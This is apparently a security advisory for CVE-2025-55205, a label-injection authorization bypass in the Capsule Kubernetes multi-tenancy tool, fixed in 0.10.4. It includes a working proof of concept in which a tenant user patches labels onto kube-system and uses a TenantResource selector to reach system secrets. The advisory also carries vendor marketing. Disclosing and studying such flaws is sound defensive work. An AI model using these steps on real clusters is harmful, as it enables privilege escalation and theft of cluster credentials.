Summary
Capsule tenant owners with "patch namespace" permission can hijack system namespaces label
A namespace label injection vulnerability in Capsule v0.10.3 allows authenticated tenant users to inject arbitrary labels into system namespaces (kube-system, default, capsule-system), bypassing multi-tenant isolation and potentially accessing cross-tenant resources through TenantResource selectors. This vulnerability enables privilege escalation and violates the fundamental security boundaries that Capsule is designed to enforce.
Details
The vulnerability exists in the namespace validation webhook logic located in pkg/webhook/namespace/validation/patch.go:60-77. The critical flaw is in the conditional check that only validates tenant ownership when a namespace already has a tenant label:
if label, ok := ns.Labels[ln]; ok {
// Only checks permissions when namespace has tenant label
if !utils.IsTenantOwner(tnt.Spec.Owners, req.UserInfo) {
response := admission.Denied(e)
return &response
}
}
return nil // Critical issue: allows operation if no tenant label exists
Root Cause Analysis:
- Missing Default Protection: System namespaces (kube-system, default, capsule-system) do not have the
capsule.clastix.io/tenantlabel by default - Bypass Logic: The webhook only enforces tenant ownership validation when the target namespace already belongs to a tenant
- Unrestricted Label Injection: Authenticated users can inject arbitrary labels into unprotected namespaces
Attack Vector Path:
Label Injection (user-controlled) → Namespace Selector (system matching) → TenantResource/Quota Check (authorization bypass) → Cross-tenant Resource Access
This mirrors the CVE-2024-39690 attack pattern but uses label injection instead of ownerReference manipulation:
- CVE-2024-39690:
ownerReference(user-controlled) → tenant.Status.Namespaces(system state) → quota/permission check(auth policy) → namespace hijacking - This vulnerability:
Label injection(user-controlled) → Namespace selector(system matching) → TenantResource/Quota check(auth policy) → cross-tenant resource access
PoC
Prerequisites:
- Minikube cluster with Capsule v0.10.3 installed
- Authenticated tenant user with basic RBAC permissions
Step 1: Environment Setup
# Install Minikube and Capsule
minikube start
helm repo add projectcapsule https://projectcapsule.github.io/charts
helm install capsule projectcapsule/capsule -n capsule-system --create-namespace
# Create tenant and user
kubectl create -f - << EOF
apiVersion: capsule.clastix.io/v1beta2
kind: Tenant
metadata:
name: tenant1
spec:
owners:
- name: alice
kind: User
EOF
# Create user certificate and kubeconfig (using provided script)
./create-user-minikube.sh alice tenant1
Step 2: Label Injection Attack
# Switch to attacker context
export KUBECONFIG=alice-tenant1.kubeconfig
# Inject malicious labels into system namespaces
kubectl patch namespace kube-system --type='json' -p='[
{
"op": "add",
"path": "/metadata/labels/malicious-label",
"value": "attack-value"
}
]'
# Verify injection success
kubectl get namespace kube-system --show-labels
Step 3: Exploitation via TenantResource
# Create attacker-controlled namespace
kubectl create namespace alice-attack
# Create malicious TenantResource targeting injected labels
cat <<EOF | kubectl apply -f -
apiVersion: capsule.clastix.io/v1beta2
kind: TenantResource
metadata:
name: malicious-resource
namespace: alice-attack
spec:
resyncPeriod: 60s
resources:
- namespaceSelector:
matchLabels:
malicious-label: "attack-value"
EOF
# Verify cross-tenant access
kubectl get tenantresource -n alice-attack malicious-resource -o yaml
Step 4: Verification of Impact
# Check if system namespace resources are now accessible
export KUBECONFIG=~/.kube/config
kubectl get namespaces -l "malicious-label=attack-value"
# Output shows: kube-system (and potentially other injected namespaces)
# Check for potential resource replication/access
kubectl get all -n kube-system
kubectl get secrets -n kube-system
kubectl get configmaps -n kube-system
Automated Testing Script:
A complete vulnerability verification script is available that tests:
- Label injection into multiple system namespaces
- TenantResource exploitation
- Cross-tenant resource access verification
- Impact assessment and cleanup
Impact
Vulnerability Type: Authorization Bypass / Privilege Escalation
Who is Impacted:
- Multi-tenant Kubernetes clusters using Capsule v0.10.3 and potentially earlier versions
- Organizations relying on Capsule for tenant isolation and resource governance
- Cloud service providers offering Kubernetes-as-a-Service with Capsule-based multi-tenancy
Security Impact:
- Multi-tenant Isolation Bypass: Attackers can access resources from other tenants or system namespaces
- Privilege Escalation: Tenant users can gain access to cluster-wide resources and sensitive system components
- Data Exfiltration: Potential access to secrets, configmaps, and other sensitive data in system namespaces
- Resource Quota Bypass: Ability to consume resources outside assigned tenant boundaries
- Policy Circumvention: Bypass network policies, security policies, and other tenant-level restrictions
Real-world Exploitation Scenarios:
- Access to kube-system secrets containing cluster certificates and service account tokens
- Modification or replication of critical system configurations
- Cross-tenant data access in shared clusters
- Potential cluster-wide compromise through system namespace access
Severity: High - This vulnerability fundamentally breaks the multi-tenant security model that Capsule is designed to provide, allowing authenticated users to escape their tenant boundaries and access system-level resources.
The application does not correctly enforce access controls, allowing a principal to access resources or operations beyond their granted permissions. Typical impact: unauthorized data access or execution of privileged operations.
CVE-2025-55205 has a CVSS score of 9.0 (Critical). The vector is network-reachable, low privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.10.4); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2025-55205? CVE-2025-55205 is a critical-severity incorrect authorization vulnerability in github.com/projectcapsule/capsule (go), affecting versions < 0.10.4. It is fixed in 0.10.4. The application does not correctly enforce access controls, allowing a principal to access resources or operations beyond their granted permissions.
- How severe is CVE-2025-55205? CVE-2025-55205 has a CVSS score of 9.0 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of github.com/projectcapsule/capsule are affected by CVE-2025-55205? github.com/projectcapsule/capsule (go) versions < 0.10.4 is affected.
- Is there a fix for CVE-2025-55205? Yes. CVE-2025-55205 is fixed in 0.10.4. Upgrade to this version or later.
- Is CVE-2025-55205 exploitable, and should I be worried? Whether CVE-2025-55205 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2025-55205 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2025-55205? Upgrade
github.com/projectcapsule/capsuleto 0.10.4 or later.